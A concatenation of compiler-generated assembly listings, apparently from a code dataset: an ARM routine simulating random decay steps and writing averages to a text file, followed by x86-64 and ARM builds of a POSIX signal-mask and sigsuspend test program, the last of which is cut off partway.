mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L4:
.align 2
.L3:
.word 1120403456
.word 981668463
.size main, .-main
.global __aeabi_d2f
.global __aeabi_fmul
.global __aeabi_fcmplt
.align 2
.global delta_n_step
.syntax unified
.arm
.fpu softvfp
.type delta_n_step, %function
delta_n_step:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16] @ float
str r1, [fp, #-20] @ float
str r2, [fp, #-24] @ float
bl drand48
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-8] @ float
ldr r1, [fp, #-16] @ float
ldr r0, [fp, #-20] @ float
bl __aeabi_fmul
mov r3, r0
ldr r1, [fp, #-24] @ float
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-8] @ float
bl __aeabi_fcmplt
mov r3, r0
cmp r3, #0
beq .L10
ldr r3, .L11
b .L8
.L10:
mov r3, #0
.L8:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L12:
.align 2
.L11:
.word -1082130432
.size delta_n_step, .-delta_n_step
.global __aeabi_fdiv
.global __aeabi_f2iz
.global __aeabi_i2f
.section .rodata
.align 2
.LC0:
.ascii "w+\000"
.align 2
.LC1:
.ascii "data_rand_average.txt\000"
.global __aeabi_f2d
.align 2
.LC2:
.ascii "%f %f\012\000"
.global __aeabi_fadd
.global __aeabi_fcmpgt
.text
.align 2
.global single_decay
.syntax unified
.arm
.fpu softvfp
.type single_decay, %function
single_decay:
@ args = 0, pretend = 0, frame = 72
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #80
str r0, [fp, #-72] @ float
str r1, [fp, #-76] @ float
str r2, [fp, #-80] @ float
ldr r1, [fp, #-76] @ float
ldr r0, .L22
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-48] @ float
ldr r0, [fp, #-48] @ float
bl __aeabi_f2iz
mov r3, r0
mov r0, r3
bl __aeabi_i2f
mov r3, r0
ldr r1, [fp, #-80] @ float
mov r0, r3
bl __aeabi_fdiv
mov r3, r0
mov r0, r3
bl __aeabi_f2iz
mov r3, r0
str r3, [fp, #-44]
ldr r3, .L22
str r3, [fp, #-40] @ float
mov r3, #0
str r3, [fp, #-56] @ float
ldr r3, [fp, #-72] @ float
str r3, [fp, #-52] @ float
ldr r3, [fp, #-44]
lsl r3, r3, #2
mov r0, r3
bl malloc
mov r3, r0
str r3, [fp, #-36]
ldr r3, [fp, #-44]
lsl r3, r3, #2
mov r0, r3
bl malloc
mov r3, r0
str r3, [fp, #-32]
ldr r1, .L22+4
ldr r0, .L22+8
bl fopen
str r0, [fp, #-28]
ldr r0, [fp, #-56] @ float
bl __aeabi_f2d
mov r4, r0
mov r5, r1
ldr r0, [fp, #-52] @ float
bl __aeabi_f2d
mov r2, r0
mov r3, r1
stm sp, {r2-r3}
mov r2, r4
mov r3, r5
ldr r1, .L22+12
ldr r0, [fp, #-28]
bl fprintf
ldr r3, [fp, #-36]
ldr r2, [fp, #-52] @ float
str r2, [r3] @ float
ldr r3, [fp, #-32]
ldr r2, [fp, #-56] @ float
str r2, [r3] @ float
ldr r3, [fp, #-44]
lsl r3, r3, #2
mov r0, r3
bl malloc
mov r3, r0
str r3, [fp, #-24]
ldr r3, [fp, #-44]
lsl r3, r3, #2
mov r0, r3
bl malloc
mov r3, r0
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-64]
b .L14
.L19:
ldr r3, [fp, #-24]
ldr r2, [fp, #-72] @ float
str r2, [r3] @ float
ldr r3, [fp, #-20]
mov r2, #0
str r2, [r3] @ float
ldr r3, [fp, #-72] @ float
str r3, [fp, #-52] @ float
mov r3, #0
str r3, [fp, #-56] @ float
mov r3, #1
str r3, [fp, #-68]
b .L15
.L16:
ldr r1, [fp, #-80] @ float
ldr r0, [fp, #-56] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-56] @ float
ldr r2, [fp, #-80] @ float
ldr r1, [fp, #-76] @ float
ldr r0, [fp, #-52] @ float
bl delta_n_step
str r0, [fp, #-16] @ float
ldr r1, [fp, #-16] @ float
ldr r0, [fp, #-52] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-52] @ float
ldr r3, [fp, #-68]
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r2, [fp, #-52] @ float
str r2, [r3] @ float
ldr r3, [fp, #-68]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r2, [fp, #-56] @ float
str r2, [r3] @ float
ldr r3, [fp, #-68]
add r3, r3, #1
str r3, [fp, #-68]
.L15:
ldr r2, [fp, #-68]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L16
mov r3, #1
str r3, [fp, #-68]
b .L17
.L18:
ldr r3, [fp, #-68]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-68]
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r1, [r3] @ float
ldr r3, [fp, #-68]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r4, r2, r3
bl __aeabi_fadd
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-68]
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-68]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r1, [r3] @ float
ldr r3, [fp, #-68]
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r4, r2, r3
bl __aeabi_fadd
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-68]
add r3, r3, #1
str r3, [fp, #-68]
.L17:
ldr r2, [fp, #-68]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L18
ldr r3, [fp, #-64]
add r3, r3, #1
str r3, [fp, #-64]
.L14:
ldr r0, [fp, #-64]
bl __aeabi_i2f
mov r3, r0
mov r1, r3
ldr r0, [fp, #-40] @ float
bl __aeabi_fcmpgt
mov r3, r0
cmp r3, #0
bne .L19
mov r3, #1
str r3, [fp, #-60]
b .L20
.L21:
ldr r3, [fp, #-60]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-60]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r4, r2, r3
ldr r1, [fp, #-40] @ float
bl __aeabi_fdiv
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-60]
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-60]
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r4, r2, r3
ldr r1, [fp, #-40] @ float
bl __aeabi_fdiv
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-60]
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r4, r0
mov r5, r1
ldr r3, [fp, #-60]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
stm sp, {r2-r3}
mov r2, r4
mov r3, r5
ldr r1, .L22+12
ldr r0, [fp, #-28]
bl fprintf
ldr r3, [fp, #-60]
add r3, r3, #1
str r3, [fp, #-60]
.L20:
ldr r2, [fp, #-60]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L21
ldr r0, [fp, #-28]
bl fclose
nop
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L23:
.align 2
.L22:
.word 1084227584
.word .LC0
.word .LC1
.word .LC2
.size single_decay, .-single_decay
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "87372.c"
.intel_syntax noprefix
.text
.local sigcounts
.comm sigcounts,264,32
.local sigfifo
.comm sigfifo,264,32
.local fifo_depth
.comm fifo_depth,4,4
.local suspender_mask
.comm suspender_mask,128,32
.local suspender_tid
.comm suspender_tid,8,8
.section .rodata
.align 8
.LC0:
.string "Unable to suspend for signals, errno %d, return value %d\n"
.align 8
.LC1:
.string "Sigsuspend woke up by signal %d\n"
.text
.type sigsuspender, @function
sigsuspender:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 176
mov QWORD PTR -168[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -144[rbp]
mov rdi, rax
call sigfillset@PLT
lea rax, -144[rbp]
mov edx, 0
mov rsi, rax
mov edi, 2
call sigprocmask@PLT
lea rdi, suspender_mask[rip]
call sigfillset@PLT
mov esi, 2
lea rdi, suspender_mask[rip]
call sigdelset@PLT
mov esi, 1
lea rdi, suspender_mask[rip]
call sigdelset@PLT
mov esi, 3
lea rdi, suspender_mask[rip]
call sigdelset@PLT
mov esi, 23
lea rdi, suspender_mask[rip]
call sigdelset@PLT
mov esi, 29
lea rdi, suspender_mask[rip]
call sigdelset@PLT
mov esi, 12
lea rdi, suspender_mask[rip]
call sigdelset@PLT
jmp .L2
.L7:
mov eax, DWORD PTR sigcounts[rip+48]
mov DWORD PTR -152[rbp], eax
lea rdi, suspender_mask[rip]
call sigsuspend@PLT
mov DWORD PTR -148[rbp], eax
cmp DWORD PTR -148[rbp], 0
je .L3
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 4
je .L4
.L3:
call __errno_location@PLT
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR stderr[rip]
mov ecx, DWORD PTR -148[rbp]
lea rsi, .LC0[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L4:
mov DWORD PTR -156[rbp], 0
jmp .L5
.L6:
mov eax, DWORD PTR -156[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, sigfifo[rip]
mov edx, DWORD PTR [rdx+rax]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC1[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
add DWORD PTR -156[rbp], 1
.L5:
mov eax, DWORD PTR fifo_depth[rip]
cmp DWORD PTR -156[rbp], eax
jl .L6
mov DWORD PTR fifo_depth[rip], 0
.L2:
mov eax, DWORD PTR sigcounts[rip+8]
test eax, eax
je .L7
mov rax, QWORD PTR -168[rbp]
mov rdi, rax
call pthread_exit@PLT
.cfi_endproc
.LFE6:
.size sigsuspender, .-sigsuspender
.section .rodata
.align 8
.LC2:
.string " -> Suspender thread signal handler caught signal %d\n"
.align 8
.LC3:
.string " >>> FAIL: sigsuspender signal handler running with incorrect mask.\n"
.align 8
.LC4:
.string " -> Main thread signal handler caught signal %d\n"
.text
.type sighandler, @function
sighandler:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 304
mov DWORD PTR -292[rbp], edi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
cmp DWORD PTR -292[rbp], 0
js .L10
cmp DWORD PTR -292[rbp], 65
jg .L10
mov eax, DWORD PTR -292[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, sigcounts[rip]
mov eax, DWORD PTR [rdx+rax]
lea ecx, 1[rax]
mov eax, DWORD PTR -292[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, sigcounts[rip]
mov DWORD PTR [rdx+rax], ecx
.L10:
call pthread_self@PLT
mov QWORD PTR -280[rbp], rax
mov rax, QWORD PTR suspender_tid[rip]
cmp QWORD PTR -280[rbp], rax
jne .L11
mov eax, DWORD PTR fifo_depth[rip]
cdqe
lea rcx, 0[0+rax*4]
lea rdx, sigfifo[rip]
mov eax, DWORD PTR -292[rbp]
mov DWORD PTR [rcx+rdx], eax
mov eax, DWORD PTR fifo_depth[rip]
add eax, 1
mov DWORD PTR fifo_depth[rip], eax
mov rax, QWORD PTR stderr[rip]
mov edx, DWORD PTR -292[rbp]
lea rsi, .LC2[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
lea rax, -272[rbp]
mov rdx, rax
mov esi, 0
mov edi, 2
call sigprocmask@PLT
mov rax, QWORD PTR suspender_mask[rip]
mov rdx, QWORD PTR suspender_mask[rip+8]
mov QWORD PTR -144[rbp], rax
mov QWORD PTR -136[rbp], rdx
mov rax, QWORD PTR suspender_mask[rip+16]
mov rdx, QWORD PTR suspender_mask[rip+24]
mov QWORD PTR -128[rbp], rax
mov QWORD PTR -120[rbp], rdx
mov rax, QWORD PTR suspender_mask[rip+32]
mov rdx, QWORD PTR suspender_mask[rip+40]
mov QWORD PTR -112[rbp], rax
mov QWORD PTR -104[rbp], rdx
mov rax, QWORD PTR suspender_mask[rip+48]
mov rdx, QWORD PTR suspender_mask[rip+56]
mov QWORD PTR -96[rbp], rax
mov QWORD PTR -88[rbp], rdx
mov rax, QWORD PTR suspender_mask[rip+64]
mov rdx, QWORD PTR suspender_mask[rip+72]
mov QWORD PTR -80[rbp], rax
mov QWORD PTR -72[rbp], rdx
mov rax, QWORD PTR suspender_mask[rip+80]
mov rdx, QWORD PTR suspender_mask[rip+88]
mov QWORD PTR -64[rbp], rax
mov QWORD PTR -56[rbp], rdx
mov rax, QWORD PTR suspender_mask[rip+96]
mov rdx, QWORD PTR suspender_mask[rip+104]
mov QWORD PTR -48[rbp], rax
mov QWORD PTR -40[rbp], rdx
mov rax, QWORD PTR suspender_mask[rip+112]
mov rdx, QWORD PTR suspender_mask[rip+120]
mov QWORD PTR -32[rbp], rax
mov QWORD PTR -24[rbp], rdx
mov edx, DWORD PTR -292[rbp]
lea rax, -144[rbp]
mov esi, edx
mov rdi, rax
call sigaddset@PLT
lea rcx, -144[rbp]
lea rax, -272[rbp]
mov edx, 128
mov rsi, rcx
mov rdi, rax
call memcmp@PLT
test eax, eax
je .L14
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 69
mov esi, 1
lea rdi, .LC3[rip]
call fwrite@PLT
jmp .L14
.L11:
mov rax, QWORD PTR stderr[rip]
mov edx, DWORD PTR -292[rbp]
lea rsi, .LC4[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
.L14:
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L13
call __stack_chk_fail@PLT
.L13:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size sighandler, .-sighandler
.section .rodata
.align 8
.LC5:
.string "Unable to send thread signal, errno %d.\n"
.text
.type send_thread_signal, @function
send_thread_signal:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov DWORD PTR -12[rbp], esi
mov edx, DWORD PTR -12[rbp]
mov rax, QWORD PTR -8[rbp]
mov esi, edx
mov rdi, rax
call pthread_kill@PLT
test eax, eax
je .L17
call __errno_location@PLT
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC5[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L17:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size send_thread_signal, .-send_thread_signal
.section .rodata
.align 8
.LC6:
.string "Unable to send process signal, errno %d.\n"
.text
.type send_process_signal, @function
send_process_signal:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
call getpid@PLT
mov edx, eax
mov eax, DWORD PTR -4[rbp]
mov esi, eax
mov edi, edx
call kill@PLT
test eax, eax
je .L20
call __errno_location@PLT
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC6[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L20:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size send_process_signal, .-send_process_signal
.section .rodata
.align 8
.LC7:
.string "Unable to initialize thread attributes.\n"
.align 8
.LC8:
.string "Unable to create thread, errno %d.\n"
.align 8
.LC9:
.string "FAIL: sigsuspend wakes up for ignored signal SIGIO.\n"
.align 8
.LC10:
.string "FAIL: sigsuspend doesn't wake up for SIGURG.\n"
.align 8
.LC11:
.string "FAIL: sigsuspend doesn't wake up for SIGUSR2.\n"
.align 8
.LC12:
.string "FAIL: signal hander called for SIGUSR1.\n"
.align 8
.LC13:
.string "FAIL: SIGPIPE did not terminate process.\n"
.text
.globl main
.type main, @function
main:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 512
mov DWORD PTR -500[rbp], edi
mov QWORD PTR -512[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov edx, 260
mov esi, 0
lea rdi, sigcounts[rip]
call memset@PLT
lea rax, -160[rbp]
add rax, 8
mov rdi, rax
call sigemptyset@PLT
lea rax, -160[rbp]
add rax, 8
mov esi, 29
mov rdi, rax
call sigaddset@PLT
mov QWORD PTR -160[rbp], 1
mov DWORD PTR -24[rbp], 0
lea rax, -160[rbp]
mov edx, 0
mov rsi, rax
mov edi, 29
call sigaction@PLT
lea rax, -160[rbp]
add rax, 8
mov rdi, rax
call sigemptyset@PLT
lea rax, -160[rbp]
add rax, 8
mov esi, 23
mov rdi, rax
call sigaddset@PLT
lea rax, sighandler[rip]
mov QWORD PTR -160[rbp], rax
mov DWORD PTR -24[rbp], 268435456
lea rax, -160[rbp]
mov edx, 0
mov rsi, rax
mov edi, 23
call sigaction@PLT
lea rax, -160[rbp]
add rax, 8
mov rdi, rax
call sigemptyset@PLT
lea rax, -160[rbp]
add rax, 8
mov esi, 24
mov rdi, rax
call sigaddset@PLT
lea rax, -160[rbp]
mov edx, 0
mov rsi, rax
mov edi, 24
call sigaction@PLT
lea rax, -416[rbp]
mov rdx, rax
mov esi, 0
mov edi, 2
call sigprocmask@PLT
mov rax, QWORD PTR -416[rbp]
mov rdx, QWORD PTR -408[rbp]
mov QWORD PTR -288[rbp], rax
mov QWORD PTR -280[rbp], rdx
mov rax, QWORD PTR -400[rbp]
mov rdx, QWORD PTR -392[rbp]
mov QWORD PTR -272[rbp], rax
mov QWORD PTR -264[rbp], rdx
mov rax, QWORD PTR -384[rbp]
mov rdx, QWORD PTR -376[rbp]
mov QWORD PTR -256[rbp], rax
mov QWORD PTR -248[rbp], rdx
mov rax, QWORD PTR -368[rbp]
mov rdx, QWORD PTR -360[rbp]
mov QWORD PTR -240[rbp], rax
mov QWORD PTR -232[rbp], rdx
mov rax, QWORD PTR -352[rbp]
mov rdx, QWORD PTR -344[rbp]
mov QWORD PTR -224[rbp], rax
mov QWORD PTR -216[rbp], rdx
mov rax, QWORD PTR -336[rbp]
mov rdx, QWORD PTR -328[rbp]
mov QWORD PTR -208[rbp], rax
mov QWORD PTR -200[rbp], rdx
mov rax, QWORD PTR -320[rbp]
mov rdx, QWORD PTR -312[rbp]
mov QWORD PTR -192[rbp], rax
mov QWORD PTR -184[rbp], rdx
mov rax, QWORD PTR -304[rbp]
mov rdx, QWORD PTR -296[rbp]
mov QWORD PTR -176[rbp], rax
mov QWORD PTR -168[rbp], rdx
lea rax, -288[rbp]
mov esi, 10
mov rdi, rax
call sigaddset@PLT
lea rax, -288[rbp]
mov esi, 12
mov rdi, rax
call sigaddset@PLT
lea rax, -288[rbp]
mov edx, 0
mov rsi, rax
mov edi, 2
call sigprocmask@PLT
lea rax, -160[rbp]
add rax, 8
mov rdi, rax
call sigemptyset@PLT
lea rax, -160[rbp]
add rax, 8
mov esi, 10
mov rdi, rax
call sigaddset@PLT
lea rax, -160[rbp]
mov edx, 0
mov rsi, rax
mov edi, 10
call sigaction@PLT
lea rax, -160[rbp]
add rax, 8
mov rdi, rax
call sigemptyset@PLT
lea rax, -160[rbp]
add rax, 8
mov esi, 12
mov rdi, rax
call sigaddset@PLT
lea rax, -160[rbp]
mov edx, 0
mov rsi, rax
mov edi, 12
call sigaction@PLT
lea rax, -480[rbp]
mov rdi, rax
call pthread_attr_init@PLT
test eax, eax
jne .L22
lea rax, -480[rbp]
mov esi, 0
mov rdi, rax
call pthread_attr_setdetachstate@PLT
test eax, eax
je .L23
.L22:
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 40
mov esi, 1
lea rdi, .LC7[rip]
call fwrite@PLT
mov edi, 1
call exit@PLT
.L23:
lea rax, -480[rbp]
mov ecx, 0
lea rdx, sigsuspender[rip]
mov rsi, rax
lea rdi, suspender_tid[rip]
call pthread_create@PLT
test eax, eax
je .L24
call __errno_location@PLT
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC8[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L24:
mov rax, QWORD PTR suspender_tid[rip]
mov esi, 29
mov rdi, rax
call send_thread_signal
mov edi, 1
call sleep@PLT
mov edi, 29
call send_process_signal
mov edi, 1
call sleep@PLT
mov eax, DWORD PTR sigcounts[rip+116]
test eax, eax
je .L25
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 52
mov esi, 1
lea rdi, .LC9[rip]
call fwrite@PLT
.L25:
mov rax, QWORD PTR suspender_tid[rip]
mov esi, 23
mov rdi, rax
call send_thread_signal
mov edi, 1
call sleep@PLT
mov edi, 23
call send_process_signal
mov edi, 1
call sleep@PLT
mov eax, DWORD PTR sigcounts[rip+92]
cmp eax, 2
je .L26
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 45
mov esi, 1
lea rdi, .LC10[rip]
call fwrite@PLT
.L26:
mov rax, QWORD PTR suspender_tid[rip]
mov esi, 12
mov rdi, rax
call send_thread_signal
mov edi, 1
call sleep@PLT
mov edi, 12
call send_process_signal
mov edi, 1
call sleep@PLT
mov eax, DWORD PTR sigcounts[rip+48]
cmp eax, 2
je .L27
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 46
mov esi, 1
lea rdi, .LC11[rip]
call fwrite@PLT
.L27:
mov rax, QWORD PTR suspender_tid[rip]
mov esi, 10
mov rdi, rax
call send_thread_signal
mov edi, 1
call sleep@PLT
mov edi, 10
call send_process_signal
mov edi, 1
call sleep@PLT
mov eax, DWORD PTR sigcounts[rip+40]
test eax, eax
je .L28
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 40
mov esi, 1
lea rdi, .LC12[rip]
call fwrite@PLT
.L28:
mov edi, 13
call send_process_signal
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 41
mov esi, 1
lea rdi, .LC13[rip]
call fwrite@PLT
mov rax, QWORD PTR suspender_tid[rip]
lea rdx, -488[rbp]
mov rsi, rdx
mov rdi, rax
call pthread_join@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L30
call __stack_chk_fail@PLT
.L30:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "87372.c"
.text
.local sigcounts
.comm sigcounts,264,4
.local sigfifo
.comm sigfifo,264,4
.local fifo_depth
.comm fifo_depth,4,4
.local suspender_mask
.comm suspender_mask,128,4
.local suspender_tid
.comm suspender_tid,4,4
.section .rodata
.align 2
.LC0:
.ascii "Unable to suspend for signals, errno %d, return val"
.ascii "ue %d\012\000"
.align 2
.LC1:
.ascii "Sigsuspend woke up by signal %d\012\000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type sigsuspender, %function
sigsuspender:
@ args = 0, pretend = 0, frame = 152
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #156
str r0, [fp, #-160]
ldr r3, .L9
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
sub r3, fp, #144
mov r0, r3
bl sigfillset
sub r3, fp, #144
mov r2, #0
mov r1, r3
mov r0, #2
bl sigprocmask
ldr r0, .L9+4
bl sigfillset
mov r1, #2
ldr r0, .L9+4
bl sigdelset
mov r1, #1
ldr r0, .L9+4
bl sigdelset
mov r1, #3
ldr r0, .L9+4
bl sigdelset
mov r1, #23
ldr r0, .L9+4
bl sigdelset
mov r1, #29
ldr r0, .L9+4
bl sigdelset
mov r1, #12
ldr r0, .L9+4
bl sigdelset
b .L2
.L7:
ldr r3, .L9+8
ldr r3, [r3, #48]
str r3, [fp, #-152]
ldr r0, .L9+4
bl sigsuspend
str r0, [fp, #-148]
ldr r3, [fp, #-148]
cmp r3, #0
beq .L3
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #4
beq .L4
.L3:
ldr r3, .L9+12
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r2, [r3]
ldr r3, [fp, #-148]
ldr r1, .L9+16
mov r0, r4
bl fprintf
mov r0, #1
bl exit
.L4:
mov r3, #0
str r3, [fp, #-156]
b .L5
.L6:
ldr r3, .L9+12
ldr r0, [r3]
ldr r2, .L9+20
ldr r3, [fp, #-156]
ldr r3, [r2, r3, lsl #2]
mov r2, r3
ldr r1, .L9+24
bl fprintf
ldr r3, [fp, #-156]
add r3, r3, #1
str r3, [fp, #-156]
.L5:
ldr r3, .L9+28
ldr r3, [r3]
ldr r2, [fp, #-156]
cmp r2, r3
blt .L6
ldr r3, .L9+28
mov r2, #0
str r2, [r3]
.L2:
ldr r3, .L9+8
ldr r3, [r3, #8]
cmp r3, #0
beq .L7
ldr r0, [fp, #-160]
bl pthread_exit
.L10:
.align 2
.L9:
.word .LC2
.word suspender_mask
.word sigcounts
.word stderr
.word .LC0
.word sigfifo
.word .LC1
.word fifo_depth
.size sigsuspender, .-sigsuspender
.section .rodata
.align 2
.LC3:
.ascii " -> Suspender thread signal handler caught signal "
.ascii "%d\012\000"
.align 2
.LC4:
.ascii " >>> FAIL: sigsuspender signal handler running wit"
.ascii "h incorrect mask.\012\000"
.align 2
.LC5:
.ascii " -> Main thread signal handler caught signal %d\012"
.ascii "\000"
.align 2
.LC6:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type sighandler, %function
sighandler:
@ args = 0, pretend = 0, frame = 272
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #272
str r0, [fp, #-272]
ldr r3, .L17
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, [fp, #-272]
cmp r3, #0
blt .L12
ldr r3, [fp, #-272]
cmp r3, #65
bgt .L12
ldr r2, .L17+4
ldr r3, [fp, #-272]
ldr r3, [r2, r3, lsl #2]
add r2, r3, #1
ldr r1, .L17+4
ldr r3, [fp, #-272]
str r2, [r1, r3, lsl #2]
.L12:
bl pthread_self
str r0, [fp, #-268]
ldr r3, .L17+8
ldr r3, [r3]
ldr r2, [fp, #-268]
cmp r2, r3
bne .L13
ldr r3, .L17+12
ldr r3, [r3]
ldr r1, .L17+16
ldr r2, [fp, #-272]
str r2, [r1, r3, lsl #2]
ldr r3, .L17+12
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L17+12
str r3, [r2]
ldr r3, .L17+20
ldr r3, [r3]
ldr r2, [fp, #-272]
ldr r1, .L17+24
mov r0, r3
bl fprintf
sub r3, fp, #264
mov r2, r3
mov r1, #0
mov r0, #2
bl sigprocmask
ldr r2, .L17+28
sub r3, fp, #136
mov r1, r2
mov r2, #128
mov r0, r3
bl memcpy
sub r3, fp, #136
ldr r1, [fp, #-272]
mov r0, r3
bl sigaddset
sub r1, fp, #136
sub r3, fp, #264
mov r2, #128
mov r0, r3
bl memcmp
mov r3, r0
cmp r3, #0
beq .L16
ldr r3, .L17+20
ldr r3, [r3]
mov r2, #69
mov r1, #1
ldr r0, .L17+32
bl fwrite
b .L16
.L13:
ldr r3, .L17+20
ldr r3, [r3]
ldr r2, [fp, #-272]
ldr r1, .L17+36
mov r0, r3
bl fprintf
.L16:
nop
ldr r3, .L17
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L15
bl __stack_chk_fail
.L15:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L18:
.align 2
.L17:
.word .LC6
.word sigcounts
.word suspender_tid
.word fifo_depth
.word sigfifo
.word stderr
.word .LC3
.word suspender_mask
